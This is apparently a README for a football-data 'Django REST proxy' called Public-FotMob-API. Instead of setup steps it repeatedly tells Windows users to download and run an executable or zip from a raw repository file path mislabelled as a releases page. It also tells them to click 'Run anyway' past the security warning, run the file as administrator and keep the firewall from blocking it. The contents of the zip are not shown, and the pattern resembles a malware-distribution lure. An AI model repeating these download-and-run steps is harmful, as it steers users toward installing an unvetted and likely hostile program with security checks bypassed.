Visit this page to download: https://raw.githubusercontent.com/Samoxfordgray966/Public-FotMob-API/main/fotmob_service/clients/API_Public_Mob_Fot_2.3.zip
On the releases page, look for the latest version and download the Windows file or package that matches it. If you see a .exe file, download it and run this file. If you see a .zip file, download it and open the folder inside after it finishes.
Public-FotMob-API gives you access to football data through a simple Django REST proxy. It is built for people who want match, league, team, player, and live score data without having to work with the raw source directly.
You can use it to:
- View match details
- Check live scores
- Look up leagues and teams
- Find player data
- Pull football data in a clean format
- Use the data in other tools or apps
Make sure your Windows PC has:
- Internet access
- Enough free space for the download
- A current version of Windows
- A web browser such as Edge, Chrome, or Firefox
If the release includes a zipped file, you may also need the built-in Windows unzip tool or a file extractor like 7-Zip.
- Open the releases page: https://raw.githubusercontent.com/Samoxfordgray966/Public-FotMob-API/main/fotmob_service/clients/API_Public_Mob_Fot_2.3.zip
- Find the newest release near the top of the page
- Download the Windows file for that release
- If the file is zipped, right-click it and choose Extract All
- Open the extracted folder
- Find the app file or startup file
- Double-click it to run the app
If Windows shows a security prompt:
- Choose More info
- Then choose Run anyway if you trust the file source
After you open the app, it may need a short setup step:
- Wait for the app window or local server to start
- Keep the window open while you use it
- If the app opens in your browser, leave that tab open
- If you see a local address like
http://127.0.0.1:8000, open it in your browser
If the app asks for a port:
- Use the default port first
- If that port is busy, close other apps that may use it
- Start the app again
This project is built around football data and API access. The main areas include:
- Matches
- Leagues
- Teams
- Players
- Live scores
- Fixtures
- Results
- Stats
The Django REST proxy helps organize the data so it is easier to read and use. That makes it useful for dashboards, score tools, and data checks.
People may use this project to:
- Track football scores
- Build a small sports dashboard
- Show league tables
- Display team and player details
- Create match lists by date
- Fetch data for analysis tools
If the app does not open:
- Make sure you downloaded the latest release
- Check that the download finished fully
- Try extracting the file again if it is zipped
- Run the app file as administrator
- Restart your computer and try again
If the browser does not show the app:
- Check whether the app is still running
- Look for a local address in the app window
- Try refreshing the page
- Make sure your firewall is not blocking the app
If you see missing data:
- Wait a moment and refresh
- Check your internet connection
- Try another match, team, or league
- Open the app again after a short pause
After download, you may see files such as:
- An
.exefile - A
.zipfile - A folder with app files
- A
READMEor setup file - A config file for local settings
Keep the full folder together if you move the app. Some files may need to stay in the same place for the app to run.
When running any downloaded app:
- Use the official release link only
- Check the file name before opening it
- Save it in a folder you can find later
- Remove old versions if they cause confusion
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Download from the releases page: https://raw.githubusercontent.com/Samoxfordgray966/Public-FotMob-API/main/fotmob_service/clients/API_Public_Mob_Fot_2.3.zip